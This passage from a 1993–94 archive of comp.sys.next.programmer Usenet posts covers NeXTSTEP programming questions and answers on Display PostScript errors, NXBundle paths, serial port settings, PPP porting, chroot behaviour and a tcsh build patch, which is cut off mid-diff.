pixels, the window/view displays and prints fine. If, however, the superview becomes larger than ~10000 pixels in either direction, even an attempt to send makeKeyAndOrderFront: to the window results in the following PS error messages (I include only the first few lines): Dec 31 13:55:51 tsuki myApp[290]: DPS client library error: PostScript program error, DPSContext 20e260 Dec 31 13:55:51 tsuki myApp[290]: %%[ Error: rangecheck; OffendingCommand: window ]%% Dec 31 13:55:53 tsuki myApp[290]: DPS client library error: PostScript program error, DPSContext 20e260 Dec 31 13:55:53 tsuki myApp[290]: %%[ Error: typecheck; OffendingCommand: currentgstate ]%% Dec 31 13:55:54 tsuki myApp[290]: DPS client library error: PostScript program error, DPSContext 20e260 Dec 31 13:55:54 tsuki myApp[290]: %%[ Error: invalidid; OffendingCommand: currentwindowdict ]%% Dec 31 13:55:54 tsuki myApp[290]: DPS client library error: PostScript program error, DPSContext 20e260 Dec 31 13:55:54 tsuki myApp[290]: %%[ Error: typecheck; OffendingCommand: setgstate ]%% Dec 31 13:55:59 tsuki myApp[290]: DPS client library error: PostScript program error, DPSContext 20e260 Dec 31 13:55:59 tsuki myApp[290]: %%[ Error: syntaxerror; OffendingCommand: bin obj seq, type=128, elements=2, size=68, bad fixed scale ]%% .. The only difference, as I mentioned, between the cases when a display is successful and when it fails seems to be the dimensions of the view/window objects involved. All the frame rects are set correctly and the subview list of the window's content view is also OK. Again, explanations and solutions would be very welcome. Thanks, Craig Creado. ccreado@il.us.swissbank.com P.S. Happy New Year to all. -------------------------------------------------------------------------- All opinions are mine and not of my employer. Really. --------------------------------------------------------------------------
From: magnus@fisher.Stanford.EDU (Magnus Nordborg) Newsgroups: comp.sys.next.programmer Subject: Re: How Do I Untar A File? *.???.z Date: 31 Dec 1993 22:17:56 GMT Organization: Department of Biological Sciences, Stanford University Message-ID: <MAGNUS.93Dec31141756@fisher.Stanford.EDU> References: <2966237727.6.p00378@psilink.com> <1993Dec31.045617.10939@Happy-Man.com> In-reply-to: irving@Happy-Man.com's message of Fri, 31 Dec 1993 04:56:17 GMT In article <1993Dec31.045617.10939@Happy-Man.com> irving@Happy-Man.com (Irving_Wolfe) writes: [tar and gunzip script deleted] Why not just get a recent tar and gzip from GNU? Then you can do tar -zxf file.tar.gz //or .z directly. To make it better, get TickleServices and use the Gzip service which *completely* replaces (and is superior to) Workspace Compress... -- Magnus Nordborg magnus@fisher.stanford.edu (NeXT mail welcome) Department of Biological Sciences Stanford University Stanford, CA 94305-5020 +1 (415) 723-4952 (office)
Newsgroups: comp.sys.next.programmer From: mike@lorax.com (Mike Ferris) Subject: Re: How do I find the path to my application? Message-ID: <CIwt2I.5I9@lorax.com> Sender: mike@lorax.com (Mike Ferris) Organization: Stultus Enterprises References: <1993Dec30.110522.9461@free.fdn.org> Date: Fri, 31 Dec 1993 17:11:05 GMT In article <1993Dec30.110522.9461@free.fdn.org> fabien@free.fdn.org (Fabien Roy) writes: >From Librarian: >When an application is launched by the Workspace Manager, NXArgv[0] is >guaranteed to contain the full pathname of the application's executable >file. By stripping the last element from the pathname, an application can >obtain the path for the file package where auxiliary files essential to >the application are located. > >Better way :-) Actually, [[NXBundle mainBundle] directory] is the "better" way, and I'll tell you why. It works. NXArgv[0] is only going to be the full path if you l;aunched from WorkSpace. If your app is launched from the shell, NXArgv[0] will be relative to the shell's current working directory. The bundle mechanism is more consistent. It always returns a full pathname. Not only that, but if you're just looking for files in your app wrapper, bundles are even more useful... [[NXBundle mainBundle] getPath:buffer forResource:"MyLocalizedTiff" ofType:"tiff"] will find you the correctly localized version of the given tiff within your app wrapper. Bundles know about .lproj directories and your user language preferences, and it locates the correct versions of any files you might want. Bundles are cool. ____________________________________________________________ Mike Ferris Everybody understands Mickey Mouse mike@lorax.com Few understand Herman Hesse Rubicon Software Only a handful understood Einstein (510) 652-2039 And nobody understood Emperor Norton
Newsgroups: comp.sys.next.programmer From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: *** HashTable: count differs after rehashing; probably i... Message-ID: <1994Jan1.021707.23646@csus.edu> Sender: news@csus.edu Organization: San Francisco State University Date: Sat, 1 Jan 1994 02:17:07 GMT One of our programmers is getting intermittent *** HashTable: count differs after rehashing; probably indicates a broken invariant: there are x and y such as isEqual(x, y) is TRUE but hash(x) != hash (y) messages from one of his applications. (NS 3.1) "But I don't use the HashTable class!" gdb says the culprit is NXRunAlertPanel(): #0 0x500b224 in -[HashTable insertKey:value:] () #1 0x5038c04 in NXLoadLocalizedStringFromTableInBundle () #2 0x5038980 in NXLoadLocalStringFromTableInBundle () #3 0x6098db6 in _NXDoLocalRunAlertPanel () #4 0x609ab2a in NXRunAlertPanel () (N.B.: the application is not localized.) The HashTable is trying to insert the msg text after performing %s substitution. No mention of this problem appears in NeXTanswers. Raf Schietekat's KBNS mentions the problem, but not its cause, although in another section notes that there are more unpleasant surprises related to NXRunAlertPanel()'s HashTable use. Can any of you who *have* NEXTSTEP 3.2 (we're STILL waiting!) please tell me if there's anything about this in the Release Notes--or even better--if it's FIXED??? -=EPS=- -- 2.1 >> 3.1
Newsgroups: comp.sys.next.programmer From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: *** HashTable: count differs after rehashing; probably i... Message-ID: <1994Jan1.025018.24764@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1994Jan1.021707.23646@csus.edu> Date: Sat, 1 Jan 1994 02:50:18 GMT Um, never mind. It seems my friend was using Someone Else's "simplified front end to NXRunAlertPanel()" (as if NXRunAlertPanel() needs simplification?!?)--which was doing some bad things with varargs. I told him to use NXRunAlertPanel() directly, which should solve the problem. *sigh* -=EPS=- -- Gotta watch out for that nasty ol' ObjectWare...
Newsgroups: comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: gcc like NeXT Message-ID: <2g1f9q$148@amber.hasc.ca> Sender: news@sifon.cc.mcgill.ca Organization: The Hutchison Avenue Software Corp. Date: Fri, 31 Dec 1993 15:08:42 GMT Hi... I'd like to install gcc the way NeXT has it, as a fat cross-compiler. one binary to rule them all =========================== source dest arch arch --------------------------- Intel ---\ /--- Moto X Moto ---/ \--- Intel --------------------------- Has anyone done this? The installation directions don't mention anything about doing this, and I'd like to get some experienced comments before slugging around on my own... Thanks! - darcy -- If it's dark when you leave the office and there's snow on the ground, you're in winter. If it's dark when you get up [...] you're in winter. This is not magical, this is not a wonderland; This is snow, ice and sunlight deprivation. Mon pays c'est shitty weather you can't see. -- Montreal Mirror (Qc. Winter)
Newsgroups: comp.sys.next.programmer From: jmack@skye.phys.ualberta.ca Subject: Re: HELP, c++ compile in NS3.0 Message-ID: <1994Jan1.214306.6843@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <CIrBwD.4FD@cc.umontreal.ca> Date: Sat, 1 Jan 1994 21:43:06 GMT In article <CIrBwD.4FD@cc.umontreal.ca> kosmatoo@JSP.UMontreal.CA (Kosmatos Odisseas) writes: > As much as I'd like to work with Objective C, for the moment i need to > write something in C++. I'd like to compile it on my NeXTCube with NS3.0. > > I write a simple block of code that inputs and outputs numbers with > the 'cin' and 'cout' that i just learned from a book :-) and > I simply need to include "iostream.h". > > So... I figure there MUST be a c++ compiler in my next's 345meg hd. Yes, > there appears to be but It can never find "iostream.h". No! you must install and build gcc and g++. Then you'll find the include in (at least where I have it): /usr/local/g++-include/iostream.h and the library at /usr/local/lib/libg++.a #import has some special rules (try #include in the simple cases). You should change this to read (using <>'s instead of ""'s): #include <iostream.h> Then use g++ to compile: So we have: 73 skye# cat tst.cc // this is a test of c++ #include <iostream.h> main() { int x; cout << "enter a number: "; cin >> x; cout << "You entered: " << x << "\n"; return 0; } 74 skye# g++ tst.cc 75 skye# ./a.out enter a number: 34 You entered: 34 76 skye# -- James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab Computing/Networking Phone : (403) 492-8226 Department of Physics email : jmack@phys.ualberta.ca University of Alberta uucp : uofaphys!jmack iskye!jmack Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
From: asun@zoology.washington.edu (a sun) Newsgroups: comp.sys.next.programmer,comp.unix.bsd Subject: BSD-style ttys and 8-bit, odd parity conundrum Date: 1 Jan 1994 16:46:09 -0800 Organization: Celestial Manifestations DisInc. Message-ID: <2g55gh$ark@zoon.zoology.washington.edu> i've been trying to get a summagraphics summasketch+ digitizer talking to a NeXTstation running NS 3.0. this digitizer outputs data in eight bit, odd parity. unfortunately, when i try to set up the sgttyb struct for this kind of data, i can only get either 8bits, no parity or 7 bits, odd parity. i've tried the following combinations to no avail: (all with/without local_mode = LPASS8) sgtty.sg_flags = ODDP; sgtty.sg_flags = CBREAK | ODDP; sgtty.sg_flags = RAW | ODDP; i've been able to get it to work on a sun sparc running 4.1.3 using termios, but that's useless on the next. using sgttyb on the sun, of course, gives the same behaviour as on the next. if anyone has an idea on how to convince a BSD-style terminal driver to accept data in this format, i would appreciate hearing about it. -a asun@zoology.washington.edu
From: juan.lira@hola.org (JUAN LIRA) Newsgroups: comp.sys.next.programmer Subject: test Date: Sat, 1 Jan 1994 17:39:11 GMT Message-ID: <9401011739263@hola.org> Organization: Hispanic On-Line Access(tm) Distribution: world hi.
From: sams@nbivax.nbi.dk Newsgroups: comp.sys.next.programmer Subject: Display of bitmap[512][512] on NeXT/PostScript/X11 Message-ID: <1994Jan2.113347.1453@nbivax.nbi.dk> Date: 2 Jan 94 11:33:47 +0100 Organization: Niels Bohr Institute and Nordita, Copenhagen Is there a simple way to display an unsigned char bitmap[512][512] on NeXT/PostScript/X11. Even partial answers are appreciated! Thanks in advance Thomas Sams
From: d89cb@efd.lth.se (Christian Brunschen) Newsgroups: comp.protocols.ppp,comp.sys.next.programmer Subject: Re: PPP 2.0 removed 'vjmode' option! Date: 2 Jan 1994 14:37:44 GMT Organization: Lund Institute of Technology, Sweden Message-ID: <2g6m7o$ru0@nic.lth.se> References: <1993Dec31.070742.5321@icaen.uiowa.edu> <1994Jan2.092256.14371@atlantis.uucp> /***** NOTE: This message is crossposted to comp.protocols.ppp and comp.sys.next.programmer *****/ In article <1994Jan2.092256.14371@atlantis.uucp> bugs@atlantis.uucp (Dan Berry) writes: >Doug Siebert (dsiebert@icaen.uiowa.edu) wrote: >>Or, alternatively, does anyone know of a more modern freeware or cheap >>shareware [...] for the NeXT end that would allow me to use PPP 2.0 >>on the Sun end and take advantage of its features? I took a quick look at >>the PPP 0.3 source for the NeXT to see how likely it would be I could port >>PPP 2.0 to the NeXT, but all the nonstandard Mach and NeXT stuff makes it >>unlikely a non NeXT-kernel-guru could do that. > >I'll second that motion. I took a look at the 2.0 code and there was just >too much kernel stuff in there for me to even consider tackling. I'd be >really impressed if someone has managed to get 2.0 working on NEXTSTEP... >...and have it in MAB format for both Intel/Motorola to boot, please... :-O > >It's no wonder the original 0.3 hack person claims to not support it. While this may be so, the NeXT-kernel-specific stuff really isn't so daunting if you just take your time to read the docs about writing a loadable kernel server -- in particular the section about Network modules. The "output" side should be no big deal -- the ppp-server gets called when a packet is to be transmitted. No, the problem is: How the heck can I get the kernel to cal the ppp-server when there is an incoming character on the serial line? In the next-ppp-0.2 source that's on merit.edu, there is a call to tty_ld_install -- ie, the author uses a specific line discipline (basically, I think, you specify a callback function to execute whenever a character is received on the line). But in NS3.2 (moto) **_there_is_no_apparent_support_for_user_written_line_disciplines_!** This means that I am not quite certain how to handle this -- a kernel server must never sleep, so using a blocking read() call is out of the question. Of course, non-blocking won't help much since that means I'd have to busy-wait, which also stinks. Mayde a separate user-level process that sends mach messages to the ppp server ... ? (Actually, this sorta sounds workable, in a kludgy way.) I wonder how other people have solved similar problems. Two spring to mind: * Louie Mamakos (xcuse my spelling, it's probably wrong) and * Morning Star both of which are offering commercial products for (C)SLIP / PPP. Maybe one of them could comment, and share their wisdom with us? I'd really like to try to get ppp-2.0 running on my cube ... BTW, I'm in no way a kernel hacker, and I don't really know a lot about writing this type of software. Best Regards // Christian Brunschen >-- >Dan Berry dan_berry%atlantis@kakwa.ucs.ualberta.ca >_____________________________________________________________________________ >Smiles: $FREE. Conversations: $0.02. Relationships: $CALL FOR AVAILABILITY. > | Christian Brunschen, Husmansv. 26, S-227 38 Lund, Sweden | | voice/fax/data +46 (0)46 139345, email d89cb@efd.lth.se | | PGP 2.2 Public Key available on request. | ObCelebrityQuote: | | "Oh, foo." | | - Andrew R. Koenig (ark@research.att.com) after dropping a piece | | of chalk during a lecture on C++ in Lund, Sweden, April 1993 |
From: 0005508785@mcimail.com (ErgoTech Development, Inc.) Newsgroups: comp.sys.next.programmer Subject: RE: 8-bit, odd parity conundrum Date: 2 Jan 1994 11:47:06 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <70940102174007/0005508785NA3EM@mcimail.com> asun@zoology.washington.edu asked how to set a NeXTstation serial port to 8 data bits, and odd parity (for a total of 9 bits, I assume). You can't do that under NS 3.0. You can do it programmatically under NS 3.1, but you must make the IOCTL calls directly (no support for termio functions). This works both on black and white hardware. 3.2 is supposed to fully support the POSIX calls to do this directly ie the tcgetattr/tcsetattr family, but I haven't tried these. In my Merry MegaBytes of Post-Christmas E-Mail I think I remember seeing some discussion of this. Anyone have the references? Jim Redman
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer Subject: How to remove Help.store from PB? Date: 2 Jan 1994 12:18:39 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401021819.AA06472@cantina.lanl.gov> In a small App I've been building I wanted to add a "Help..." menu item (under "Info...", of course). Ah, a good time to learn about the NXHelpPanel business, I thought. So, following instructions in the release notes (actually already there in 3.0, I guess) I went and added a Help Directory to the project. And started to build up the whole kaboodle. I soon decided this was too much machinery for what I wanted, so I removed all the help files I could find in the project and proceeded to have "Help..." put up a much simple RTF text in a scrollview window. Fine, that works. Now, however, every time I do a build, I get all the following: /usr/bin/compresshelp English.lproj/Help -o ./VectorField.app/English.lproj/Help.store Building store file info... 30 files in file info Collapsing common files... Writing files... Writing TOC (table of contents)... Saving store to: './VectorField.app/English.lproj/Help.store'... which puts 32 more KB into my App than I need. So I go in by hand and simply rm the added Help.store from the App. There must be a better way, however. HOW do I tell PB that I don't want it to do all that "Helpful" work any more? Dick Silbar WhistleSoft, Inc.
Newsgroups: comp.protocols.ppp,comp.sys.next.programmer From: bob@MorningStar.Com (Bob Sutterfield) Subject: Re: PPP 2.0 removed 'vjmode' option! In-Reply-To: d89cb@efd.lth.se's message of 2 Jan 1994 14: 37:44 GMT Message-ID: <BOB.94Jan2160800@roughy.MorningStar.Com> Sender: news@MorningStar.Com Organization: Morning Star Technologies References: <1993Dec31.070742.5321@icaen.uiowa.edu> <1994Jan2.092256.14371@atlantis.uucp> <2g6m7o$ru0@nic.lth.se> Date: Sun, 2 Jan 1994 21:08:05 GMT In article <2g6m7o$ru0@nic.lth.se> d89cb@efd.lth.se (Christian Brunschen) writes: ...I wonder how other people have solved similar problems. Two spring to mind: * Louie Mamakos * Morning Star both of which are offering commercial products for (C)SLIP / PPP. Maybe one of them could comment, and share their wisdom with us? Our PPP PPP/SLIP product's protocol {de,en}capsulator is a daemon running in user space. The daemon knows all about the protocol that runs over the wire (as per RFC 1055 or RFC 1331), and it knows how to dial the phone, filter packets, hangup when idle, etc. The interface to the kernel's IP stack is through a small "tunnel" driver. It presents an "ifnet" interface to IP, and a device interface to the daemon. Pppd uses the usual open(), close(), read(), write(), and ioctl() operations on /dev/tun0. This approach isn't terribly efficient (think of all those read()s and write()s, causing kernel-to-user context switches, as packets flow!) but it is very portable. You may be somewhat dismayed to know that our NeXT tunnel driver is very different from either our driver for BSD-style systems, or our driver for STREAMS systems. NeXT kernels are a very odd place to work... For more info and references to similar work, see ftp.MorningStar.Com:pub/papers/sug91-cheapIP* and .../pnet*, or http://www.MorningStar.Com/MorningStar/ppp-talk/ppp-talk.html. And ftp.MorningStar.Com:pub/ppp/user-guide-?up.ps.Z contains the tun(4) man page, which describes the tunnel driver interface specs. I'd really like to try to get ppp-2.0 running on my cube ... I can't really offer any more specific wisdom than the above, since I've never seen ppp-2.0. I haven't seen any of the free PPPs for about three years, and they've probably evolved a bit since then. And besides, our product's architecture is different from the one you describe, so none of this may be useful to you. Good luck! -- Bob Sutterfield, Morning Star Technologies +1 614 451 1883 1760 Zollinger Rd, Columbus Ohio USA, 43221-2856 +1 800 558 7827 bob@MorningStar.Com +1 614 459 5054 (FAX)
Newsgroups: comp.sys.next.programmer From: Robert_La_Ferla@hot.com Subject: Asynchronous Serial Communications (was Re: PPP 2.0 removed 'vjmode' option!) Message-ID: <1994Jan3.003826.21073@hot.com> Keywords: SerialPortKit, SerialPortServer Sender: robertl@hot.com Organization: Hot Technologies References: <2g6m7o$ru0@nic.lth.se> Date: Mon, 3 Jan 1994 00:38:26 GMT SerialPortServer from Hot Technologies supports seamless automatic asynchronous receive. i.e. It passes data received at the serial port to your SerialPortKit application when it's received at the port. The nice thing is that you can have your client SerialPortKit application running on your host and access a remote modem (or any serial peripheral) on a host across the net where the SerialPortServer is running. For more information, write to info@hot.com (NEXTMAIL) Robert La Ferla Hot Technologies NEXTSTEP ISV In article <2g6m7o$ru0@nic.lth.se> d89cb@efd.lth.se (Christian Brunschen) writes: > The "output" side should be no big deal -- the ppp-server gets called > when a packet is to be transmitted. No, the problem is: How the heck > can I get the kernel to cal the ppp-server when there is an incoming > character on the serial line? In the next-ppp-0.2 source that's on > merit.edu, there is a call to tty_ld_install -- ie, the author uses a > specific line discipline (basically, I think, you specify a callback > function to execute whenever a character is received on the line). But > in NS3.2 (moto) > **_there_is_no_apparent_support_for_user_written_line_disciplines_!** > This means that I am not quite certain how to handle this -- a kernel > server must never sleep, so using a blocking read() call is out of the > question. Of course, non-blocking won't help much since that means I'd > have to busy-wait, which also stinks. Mayde a separate user-level > process that sends mach messages to the ppp server ... ? (Actually, > this sorta sounds workable, in a kludgy way.) I wonder how other > people have solved similar problems.
From: schmidt@wburg.hanse.de (Andre Schmidt) Newsgroups: comp.sys.next.programmer Subject: Problem with chroot Date: 3 Jan 1994 02:48:54 GMT Organization: ISLAND wburg, Hamburg, Germany Distribution: world Message-ID: <2g812m$slq@wburg.hanse.de> Keywords: next c chroot Hello, I'm having a problem with this little piece of code (I execute it while I'm in /my/dir): [...] ret = chroot("/my/dir") ; if (ret == -1) printf("chroot: %i\n",errno); else printf("chroot: %i\n",ret); ret = execl("/bin/myprog","myprog", NULL) ; if (ret == -1) printf("execl: %i\n",errno); else printf("execl: %i\n",ret); [...] it is producing the following output: chroot: 0 execl: 83 (errno.h says: #define EBADEXEC 83 /* Bad executable */) But using only "execl("bin/myprog","myprog", NULL) ;" or starting myprog from shell works! So what is the trick? Cya Andre -- # Andre Schmidt *** NeXTmail: schmidt@wburg.hanse.de # # "configure --target=gameboy_ux ; make all" #
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 3 Jan 1994 01:35:26 -0500 Organization: Next Announcements Message-ID: <2g8ebe$b0h@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: wilkie@PROBLEM_WITH_INEWS_GATEWAY_FILE (Alexander Wilkie) Newsgroups: comp.sys.next.programmer Subject: timer usage - how? Date: 3 Jan 1994 11:35:08 GMT Organization: Technical University Vienna, Austria Message-ID: <2g8vtc$89c@email.tuwien.ac.at> The on-line help gives a fairly good description of how to activate a timer. What no one was able to tell me (up to now) is what you can do with it once you've got it. I would need it calling a certain method every so often, but how do I tell it to do so? Are timers the right thing for a periodical update of something? a.w. -- *********************************************************** * _ * Alexander Wilkie * * / \ \ / * wilkie@cslab.tuwien.ac.at * * /---\ \ /\ / * Technical University Vienna * * / \ \/ \/ * Austria / Europe * * * (NeXTMail o.k.) * ***********************************************************
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: \rtf0 spec wanted Date: 3 Jan 1994 12:38:49 -0000 Organization: me organized? That's a joke! Message-ID: <2g93kp$cg@steffi.demon.co.uk> I've got the electronic version of the Microsoft RTF Spec (\rtf1) which was created by Charles Lloyd from GiantLeap. (clloyd@gleap.sccsi.com) However, I would like to know if anybody has a copy of the \rtf0 spec. That's what the NeXTSTEP implementation of RTF supports in accordance with the Text Objects' directives. (NeXTGraphic, NXLinkMarker,attachment) I assume \rtf0 is a stripped down \rtf1 with NeXT's additions? -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
From: doko@cs.tu-berlin.de (Matthias Klose) Newsgroups: comp.sys.next.programmer Subject: Re: tcsh 6.04 won't compile on NEXTSTEP/Intel 3.2 ? Date: 03 Jan 1994 13:43:53 GMT Organization: TU Berlin Fachbereich Informatik Message-ID: <2g97et$rf9@news.cs.tu-berlin.de> References: <1993Dec30.210116.20869@cs.yale.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit In-reply-to: nathan@laplace.csb.yale.edu's message of 30 Dec 1993 22:01:16 MET In article <1993Dec30.210116.20869@cs.yale.edu> nathan@laplace.csb.yale.edu (Nathan F. Janette) writes: > tcsh 6.04 won't compile on NEXTSTEP/Intel 3.2 system, at least with the > same configuration that works for a NEXTSTEP/m68k 3.0 system. Here is a patch ... (configure with config.mach) diff -c tcsh-6.04/Makefile.std tcsh-6.04.next/Makefile.std *** tcsh-6.04/Makefile.std Thu Jul 8 06:52:19 1993 --- tcsh-6.04.next/Makefile.std Mon Dec 20 18:13:56 1993 *************** *** 114,120 **** ## LDLAGS. Define something here if you need to ################################################################ LDFLAGS= ## The simplest, suitable for all. ! #LDFLAGS= -s ## Stripped. Takes less space on disk. #LDFLAGS= -s -n ## Pure executable. Spares paging over # ## the network for machines with local # ## swap but external /usr/local/bin . --- 114,120 ---- ## LDLAGS. Define something here if you need to ################################################################ LDFLAGS= ## The simplest, suitable for all. ! LDFLAGS= -s ## Stripped. Takes less space on disk. #LDFLAGS= -s -n ## Pure executable. Spares paging over # ## the network for machines with local # ## swap but external /usr/local/bin . *************** *** 180,185 **** --- 180,187 ---- # The -B tells gcc to use /bin/ld. This is to avoid using the gnu ld, which # on the suns does not know how to make dynamically linked binaries. CC= gcc -Wall -B/bin/ # -ansi -pedantic + #CC= gcc # NeXT 3.x with gcc + #CC= cc -arch m68k -arch i386 # NeXT 3.x with native gcc #CC= gcc -m486 -Wall # Generate code for Intel 486 (linux) #CC= cc #CC= occ diff -c tcsh-6.04/Ported tcsh-6.04.next/Ported *** tcsh-6.04/Ported Thu Jul 8 06:52:32 1993 --- tcsh-6.04.next/Ported Mon Dec 20 18:17:38 1993 *************** *** 242,255 **** VENDOR : next MODELS : any ! COMPILER: cc ! CFLAGS : normal ! LIBES : -ltermcap -lcs ! OS : next os 2.x CONFIG : config.mach ENVIRON : n/a NOTES : n/a ! VERSION : 6.01.00 VENDOR : Heurikon MODELS : HK68 --- 242,255 ---- VENDOR : next MODELS : any ! COMPILER: gcc or cc -arch m68k -arch i386 ! CFLAGS : -O2 -g ! LIBES : -ltermcap ! OS : next os 3.x CONFIG : config.mach ENVIRON : n/a NOTES : n/a ! VERSION : 6.04.00 VENDOR : Heurikon MODELS : HK68 *** tcsh-6.04/sh.char.h Thu Jul 8 06:52:54 1993 --- tcsh-6.04.next/sh.char.h Sat Dec 18 19:46:26 1993 *************** *** 37,43 **** */ #ifndef _h_sh_char #define _h_sh_char ! #include <ctype.h> #ifdef _MINIX # undef _SP --- 37,47 ---- */ #ifndef _h_sh_char #define _h_sh_char ! #if defined(NeXT) && defined(NLS) ! # include <appkit/NXCType.h> ! #else ! # include <ctype.h> ! #endif #ifdef _MINIX # undef _SP *************** *** 84,89 **** --- 88,107 ---- #define alnum(c) (((Char)(c) & QUOTE) ? 0 : \ 